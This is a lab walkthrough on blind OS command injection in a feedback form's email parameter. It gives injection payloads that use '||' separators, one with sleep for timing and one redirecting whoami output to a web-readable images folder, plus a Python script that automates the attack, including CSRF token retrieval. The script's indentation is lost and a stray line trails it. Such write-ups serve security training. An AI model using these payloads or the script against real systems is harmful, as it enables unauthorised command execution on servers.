# 3. Blind OS command injection with output redirection
Lets open the vulnerable lab:
Move around:
We have this post request and those parameters, lets test those parameters to see if we have blind command injection:
```payload
||sleep+5||
```
As we can see the email parameter is vulnerable, lets redirect whoami command to the directory mentioned in the objective above:
```payload
||whoami+>+/var/www/images/whoami.txt||
```
Lets go back to enumerate the website:
Lets try to open the images in a new tab:
As we can see maybe it fetches the photos from the directory we redirected the whoami command to, lets try:
As we can see we retrieved the output.
Solve it using a `python3` script:
```python
import requests
import os
import sys
import re
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
session = requests.session()
def CommandInjection():
print("[*] Get CSRF Token.")
csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + "feedback").text)
print("[*] Perform Command Injection.")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = f"csrf={csrf[0]}&name=test&email=test@test.com||whoami+>+/var/www/images/whoami.txt||&subject=test&message=test"
session.post(url=url + "feedback/submit", headers=headers, data=data)
print(session.get(url=url + "image?filename=whoami.txt").text)
if __name__ == "__main__":
if len(sys.argv) != 2:
script_name = os.path.basename(__file__)
print(f"[-] Usage: python {script_name} http://localhost/")
sys.exit(1)
url = sys.argv[1]
CommandInjection()
print("[+] Solved.")
p
```
